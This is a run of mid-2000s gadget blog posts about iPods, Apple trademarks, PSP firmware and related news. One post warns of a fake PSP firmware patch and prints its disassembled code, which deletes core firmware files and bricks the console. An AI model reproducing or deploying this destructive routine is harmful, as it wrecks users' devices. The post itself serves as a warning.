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According to Mac OS Rumors, Apple is working on a wireless iPod. The wi-fi iPod would reportedly have networking capabilities such as the ability to directly interface with Airport Express base stations and purchase music from the iTunes Music Store.

"This ties in with Apple's recent "Vingle" trademark in several very exciting ways. From Apple's own trademark description:

"Telecommunication services, namely electronic transmission of streamed and downloadable audio and video files via computer and other communications networks. An audio entertainment service that may be available in retail stores."

We believe that "Vingle" stands for a combination between "Video" and "Mingle"....that is, a networked community of Apple customers 'mingling' at an Apple Retail Store or other Vingle-equipped location, sharing public-domain A/V content such as podcasts and vidcasts, and getting direct high-speed access to Apple's copy-protected content offerings.

The socialization angle is something we're curious how Apple will approach; several social-networking technology developers have been hired recently by Cupertino and we presume that "Vingle" won't just be about downloading and file-sharing at Apple retail locations -- but also about social networking ala MySpace, Flickr, et al. from anywhere in the world."

[Source: macosrumors.com]

Remember the TV show Silver Spoons? In the show, Ricky Schroder had tons of arcade machines in his TV mansion. While owning a home arcade machine may have seemed cool, it was usually very expensive and after all, these giant cabinets only played one game.

Luckily Target Stores is looking to change things. Target will start selling full size video Arcade cabinets for less than $500. And unlike a typical arcade cabinet, these machines will play 12 original arcade games.

"The unit stands 62” tall and has an included, built-in, full color monitor. It comes with additional A/V inputs that allow (almost) any existing home video game system, DVD player, VCR or any other A/V product to be plugged in and viewed on the built-in monitor." ~ UberReview.com

The games include: Defender, Defender II, Robotron, Joust, Bubbles, Splat, Sinistar, Rampage, Rootbeer Tapper, Wizard of Wor, Timber, and Satan's Hollow.

Compared to most portable video players, the Sony PSP may be a little on the larger size. But at least it's not visible by satellite... or is it?

Here's an interesting Google Maps find by a website called Scavengeroogle. Is that a swimming pool or a PSP?

You can access the above location on Google Maps [here].


methodshop

Labels: games, pics, psp

Students can be suspended for a lot of odd reasons these days- but a principal at a Catholic high school in New Jersey, has added another offense to the list: having a blog.

"The Reverend Kieran McHugh stunned the 900 students of the private Pope John XXIII Regional High School at a recent assembly when he told them that, effective immediately, they would have to dismantle their personal pages on sites such as MySpace.com and Xanga.com and any other blogs, or face suspension.

McHugh said he was taking the unusual measure to protect students from online sexual predators who may be lurking in cyberspace looking for personal information on children, including their pictures, diaries and gossip, according to a report in New Jersey's The Daily Record newspaper."

The Webmaster at iPodStudio.com posted a great summary about the aftermath of the iPod Nano Scratch Scandal. Here he is, in his own words:

"You know, it's funny how certain companies, often when they pass a certain financial size, seem to repeat the same mistakes over and over, as if their judgment becomes fatally impaired by success. One such mistake is underestimating the power of a few disgruntled but net-savvy customers, riled firstly by their SCRATCHED IPOD NANOS and secondly by Apple's typically flippant and blase handling of their complaints. Why exactly does a customer have to setup an entire WEBSITE and invite thousands of people to express their frustrations publicly before Apple decides to listen or respond "appropriately"? (I use inverted commas as Apple's EVENTUAL RESPONSE was hardly what I'd personally label as appropriate, all things considered..) The complaints began as a few murmurings on various forums, including OUR OWN, then came the website dedicated to forcing Apple to address the problem and now the story is running in many of the national and international newspapers, tabloids and broadsheets alike; even the radio stations are tittering about it.. I'm currently listening to the UK radio channel TALK SPORT via a net connection, as I do most days, and between discussing the English Premiership and the latest cricket, even they had a 3 minute discussion about iPod nano scratches and the website that forced Apple to finally come clean. The British DAILY TELEGRAPH WRITES: "Apple was cowed this week by a customer who thought his iPod Nano was flawed. Andrew Murray-Watson looks at how Matthew Peterson turned his web skills and sense of outrage into a global campaign which forced the technology giant into a U-turn, and wonders if there are lessons in this story for other companies." Darn right there are lessons to be learned but most importantly by Apple itself, in my most humble opinion, who seems to be rather prone to stroking the fur of their loyal customers in completely the wrong direction. It's not particularly difficult to train a customer service department to pay the customers (who in turn pay their wages) a little respect after they shelled out $250 US for Apple's latest and greatest and if a customer service department will not listen to the customers and pass on the information to people who will in turn listen and act appropriately, then surely it can serve no useful purpose? Ian Fogg, a senior analyst at Jupiter Research, had this to add: "Apple has a fanatical following with huge expectations. It matters more when something goes wrong with an Apple device than for another company." Maybe so, but has Apple pondered that thought, for even a nanosecond?" ~Full Monty

The scratches were a very minor problem compared to the faulty LCD screens in a few iPod Nanos, which was quickly addressed and fixed by Apple. But in hindsight, Apple should have been more sympathetic to customers with scratch issues.

If you have already scratched up your iPod Nano, then you may want to investigate the $4 fix for this problem. If you are planning on getting an iPod Nano and want to keep it scratch free, consider not jamming it into a pants pocket full of coins, keys and broken glass. After all, it is a $250 paper-thin electronic gadget. Seriously, a little common sense can go a long way.

On Oct 7th, Apple filed a trademark for a new technology called Vingle (Video Single). One of the functions of Vingle is the "transmission or reception of audio, video or multimedia content."

So why would a computer company want to become a digital broadcaster? Based on the details of the trademark filing, Vingle is probably going to be some form of portable home entertainment system and computer rolled into one. Maybe a Video iPod/Phone/Palm Pilot. Imagine being able to buy episodes of Desperate Housewives on-demand from your wireless Video iPod phone.

The exact extent or scope of Apple's Vingle project is unknown. The trademark filing lists a lot of vague technology such as "...magnetic data carriers; mobile digital electronic devices; telephones; computer gaming machines; monitors, displays, keyboards, cables, modems, printers, videophones, wearable devices for time travel, disk drives; cameras..."

ABC was a prominent part of Apple's Video iPod and iTunes 6.0 announcement last week and will probably be a part of the Vingle project as well. The two flagship products of iTunes 6.0 were the hit ABC shows Desperate Housewives and Lost

So where were the other big networks, especially 4th place NBC. Maybe it's time for the broadcast networks to see Apple more like a cable company, not as a computer maker.

Do you love your iPod Nano but hate the meager 2 or 4GBs of space? Well, you could always REPLACE THE FLASH MEMORY with a 200GB HD like this guy.

"The iPod Nano is a great testament to clean engineering, design, and efficiency in a portable device. However, Apple failed to consider that the available storage capacity is very small! UncycloMedia Commons has released this guide to installing additional storage on your iPod Nano brand device. It might be a good idea to set aside a good two to three hours to installing this addon, but it's pretty easy to perform, as long as you know what you're doing. Note that this set of instructions will not work with the black version. Be sure to ask your retailer which model you are receiving prior to shipment. As well as not working with the black version, this will also not work with the 2gb version so check the version and space before doing any modification to the iPod.

Please don't forget to read your iPod Nano it's last rights before commencing this "upgrade." Special thanks to the guys at iPodStudio.com for sending us this link.

Dear Dr. iPod,

I updated the iTunes and iPod software as I was prompted to do so lately. Since I was done with that, there is a picture on the screen that shows the action of charging the unit as though I am being prompted to connect my iPod to the electrical socket. I had tried to rest my iPod by clicking simultaneously on the 'select' and 'menu' button for 10 seconds. I get the Apple icon appearing but then it disappears and when I try to touch any other control, I get that previous icon again prompting me to connect the unit to electricity. What does this mean?? How do I fix that?. ~igal1

You need to give your iPod a little juice so it can complete the update. Plug your iPod into an electrical outlet, or to your computer (while it is on) to let the iPod update run its natural course. An electrical outlet is preferred.

You can also purchase one of these plugs for charging your iPod while traveling or away from your computer

• USB iPod Charger
• FireWire iPod Charger

For more information, please read this page: iPod Icon 101

Need an easy way to convert movie files for your new Video iPod? Mac OS X users can use this handy little Automator action. The only requirement besides OS X 10.4 Tiger is QuickTime Pro ($30).


Export for iPod v1.0

"This action uses the QuickTime Player application to export an "iPod-ready" version of the movie files passed from the previous action. The name of an exported file is based on the name of its source file. This action requires QuickTime Pro 7.0.3 or higher and accepts ".mov" and ".dv" files as source. Options exist for exporting the files to the same directory as the source files and for replacing any existing files with the same name. Additionally, source files can be deleted after export."

You can download the Automator action here:
http://automator.us/downloads.html#1012

Unions reps for writers, actors, and directors have called for talks over the sale of TV shows for Apple's new Video iPod. The unions want to make sure their members get a piece of the revenue generated by the sale of video content from Apple's iTunes.

In a rare show of solidarity, the following 5 unions, The Writers Guild of America (West), the American Federation of Television & Radio Artists, the Screen Actors Guild, Directors Guild of America and the Writers Guild of America (East) issued a joint statement. Here are some highlights:

"We look forward to a dialogue that ensures that our members are properly compensated."

"As the representatives for the creative community, we embrace new technologies that expand distribution of material featuring the work of our members."

"The Apple Video iPod represents the latest chapter in the ongoing technological evolution of our industry."

Clearly the unions thought a more unified approach would benefit their members as opposed to the massive disagreements they all had over royalties from DVD sales.

The unions already have agreements that cover the re-use of their work on the internet or in "pay-per-view" models, such as VOD (video on demand). A conflict could arise if studios decide to treat video downloads the same as they do a DVD sale, which might result in lower payments.

Most Sony PSP owners just upgraded their firmware to 2.0 about a couple months ago, but Sony has released a 2.5 upgrade already.

According to Sony, here's what's new:

• Videos with DRM can be played
• Streaming Video Support
• Clock Set via Internet
• Location Free Wi-Fi TV Player has been added
• Unicode support in the Browser with automatic Encoding Detection
  
• Save your text size settings in the Browser
  
• Save your Browser input history (URLs)
• NTP (Network Time Protocol) support
  
• WPA and PSK have been added to network setting
• Korean input keyboard method

The 2.5 firmware update is only for customers who own the Sony PSP (PlayStation Portable) model number PSP-1001. If you don't know what model PSP you own, take a look at the serial number located at the bottom of your PSP. The last seven digits of the serial number should end with PSP1001.

You can download the PSP Firmware System Update 2.5 here.

If you are not sure what version of firmware is currently installed on your Sony PSP, please read our firmware tutorial.

BeSocial: digg story | methodshop.com

Labels: psp, tutorial

13-year-olds rejoice! The keen eyes of the gang at iPodStudio.com have made a discovery that rivals the Kelly LeBrock creation scene in the movie Weird Science.

At 16 seconds into the 20 second iTunes 6.0 preview clip of the Beastie Boys' She's Crafty music video, a young lady appears to be giving the cameras a tad more than they bargained for. Compared to the average porn site subscription, this particular music video download is an absolute steal at $1.99!

Of course, the million dollar question is: Does Apple know about this "merry abandon"...or not..?" As soon as they find out, you can bet they will kill the preview, so get your free porn while it lasts.

UPDATE: Apple has removed the video for "She's Crafty" from the main Beastie Boys video page. However, you can still view the video by clicking on this link. (2:34pm est)

UPDATE: Apple has removed "She's Crafty" entirely from the iTMS. (6:28pm est)

"First it played songs. Then photos. Then podcasts. Now iPod plays video, changing the way you experience your music and more." Source: apple.com

Some of the new features of the Video iPod include:
• Expanded 20 hours battery life
• Bigger color display (2.5 inches)
• Under 1/2 inch thin
• Dock works with new Apple remote
• Available in Black (now without U2 loaded...enough was enough)

This baby is sleeker and more nano-looking than previous iPods...The 30 GB is $299, and the 60 GB is $399.

You can watch MPEG-4 and H.264 video...MPEG-4 video is supported up to 480 x 480, 2.5 mbps - - H.264 video up to 768 kbps at 320 x 240 and Apple claims up to 150 hours of video can be held on the Video iPod. Physical size: it takes up 1/2 the space of the original iPod and 10% thinner than the previous model.

To use the new features of the Video iPod, you'll need iTunes 6 which allows you to now preview, buy, and download over 2,000 videos on the iTunes Music Store. After purchasing music from the iTunes Music Store with iTunes 6, you will also need to upgrade your other computers that purchase music from the iTunes Music Store to iTunes 6.

"What if you could command an entire world of music, photos, movies and DVDs — all from your sofa? Now you can share the good life with friends and family on a 17- or 20-inch new iMac G5 featuring Front Row software and Apple Remote." Source: apple.com

Built in iSight and Wireless Remote Highlight new Features

2 big announcements came from Apple today. One of them, the long awaited and anticipated Video iPod, and the second, the new iMac with new remote control. In a world of computer based DVD watchers and iTunes listeners, the remote was the obvious next step.

But, 'one more thing...' The iMac now comes with a built in iSight camera...in an attempt to make it the ultimate home computer.

Forget lame old television. Get yourself a new Video iPod or equip your iMac with EyeTV, and you'll have a full featured audio, film and television experience.

Source: ipodmybaby.com

The great guys of ipodmybaby.com have come out with the iPod Nano baby onsie.

We had blogged about this about a month ago when they released their line of color shirts, and this one was too cute to pass up. Nothing would look better than to see a baby in an iPod Nano onsie.

$16 bucks is a pretty good price and after ordering the initial colored ones, we were happy with the quality.

It's nice to know you're buying from essentially a "mom and pop" online shop.

[Source: todd.dailey.info]

Ever since the iPod Nano came out, it's been plagued by user complaints of both scratched and broken screens. Apple's quick move to announce a replacement plan for defective iPod Nano digital players helps those under AppleCare with a broken screen, but what about those of us with a scratched screen, not covered by AppleCare?

The answer: Brasso

According to Todd Dailey's blog, just a tiny dosage of Brasso applied with a cotton pad on your iPod Nano should do the trick. Take the Brasso as a quick fix, and get yourself an iPod Nano case, suggests Todd. The Brasso should serve as a reminder of what your iPod can look like, and should not be applied multiple times because it does in effect wipe a small layer off your iPod everytime. It can be used on both the screen and the body...

Were you disgusted by Ashlee Simpson's lip-synch fiasco on SNL? You are not alone. There's currently an online petition asking Geffen Records and JT Simpson Entertainment to put an end to this faux crooner. The petition currently has about a half million signatures. Is yours on it yet? Sign the Stop Ashlee Simpson Petition now.

To: Geffen/DGC Records & JT Simpson Entertainment

We, the undersigned, are disgusted with Ashlee Simpson's horrible singing and hereby ask her to stop. Stop recording, touring, modeling and performing. We do not wish to see her again.

She cannot match the sound of her voice that can be found on her CDs, when she sings live. She simply yells the words (sometimes the wrong ones) into the mic.

We are so sickened by her "performing" that we are taking this opportunity to demand that she stop.

Sincerely,
The Undersigned

The Cult of iPod, the follow-up to Leander Kahney's book, The Cult of Mac, offers a look into how the iPod changed the world of music and integrated itself into our society.

The covers for both books are very similar. Just like the cover for The Cult of Mac, which had a guy (actually the photographer's roommate) with an Apple logo shaved into the back of his head, the The Cult of iPod features someone with an iPod clickwheel shaved into his head.

The Cult of iPod is available from Amazon.com.

DecoDock, the first stylish dock designed to complement and enhance the iPod shuffle.

Futuristic looking iPod Shuffle Dock!

A pretty innovative looking design for an iPod Shuffle dock. The "Art-Techo" movement, which it is styled after, is funky enough for some people but depending on how cluttered your desk is, may be somewhat ultra futuristic for some people's desks.

The DecoDock's top reminds me of Superman's Fortress of Solitutude, which I think if I ever do decide to get this, I'll pretend I can call upon my dead ancestors for advice. Or maybe I'll pretend I'm somehow putting together a model of the GE Building at Rockefeller Center and then, after all that I'll listen to some Men Without Hats.

Postseason Baseball Schedule with TV Listings

Finding an updated sports schedule for input into iCal on the web can be a daunting task.

Every time I search, I seem to only be able to find last year's schedule for whatever it is I'm looking for...I was able to find the San Antonio McAllister Little League team 2005 schedule, which is about as useful to me as a sweaty sock...

I decide to make and publish my own iCal calendar...It was easy, and using icalx.com, I can now share it with all baseball fans (Red Sox fans excluded) so they can sync up their Palm, iPod, or iCal compatible phone with iCal and reap the benefits of my 2005 Major League Baseball Playoff schedule. Best part is, of course, it's free.

If you want to subscribe to the 2005 MLB Playoffs iCal calendar, click here.
If you'd like to see only the online version of it, click here.

Ever since Sony released a 2.0 firmware update for the PSP, programmers have been scrambling to update their homebrew PSP games. One quick fix would be to have a 2.0 patcher to update all your old homebrew apps.

Well, let's just say the quick way isn't always the best way. A hacker exploited this situation and basically created a PSP patcher virus. If you install the fake patch, it will brick* your PSP and will void your warranty.

A programmer named Skylark, has disassembled the fake update file. Take a look:

_start:
call main()
while(1)

sceIoAssign:
syscall 0x20a8

sceIoRemove:
syscall 0x209e

main:
call FillVram(0)
call Print(1,1,0xFFFFFF,"PSP TEAM 2.0 Exploit Hack the 2.0 firmware")
call Print(1,2,0xFFFFFF,"Thanks to toc2rta for the 2.0 exploit :) ")
call sceIoAssign("flash6:", "lflash0:0,0", "flashfat2:", 0, 0, 0)
call sceIoRemove("flash6:/vsh/etc/index.dat")
call sceIoRemove("flash6:/kd/loadcore.prx")
call sceIoRemove("flash6:/kd/loadexec.prx")
call sceIoRemove("flash6:/kd/init.prx")
call Print(1,4,0xFFFFFF," Your 2.0 is hacked please reboot  ")
call Print(1,5,0xFFFFFF," Thank you PSP Team the french team")
call Print(1,6,0xFFFFFF,"  FuCk yoshihiro and SonyxTeam Looser")

Please be warned, this fake patch will delete important file(s) from your firmware, and thus making your PSP broken!!

If you do brick your PSP, you will have to replace the motherboard.



*Brick - a piece of electronics so severely damaged that it only has the functionality of a rock or a brick.

Just when you thought the iPod couldn't get any smaller...

Our friends at iPodStudio.com came across a site called POD2PRO that posted this futuristic iPod nano. It's probably not scratch-proof, but it at least gets the "thumbs-up for imagination and artistic content. Don't expect this one to be in production anytime soon, though.. We'd be real interested to see how the third-party cases would look for this one, too."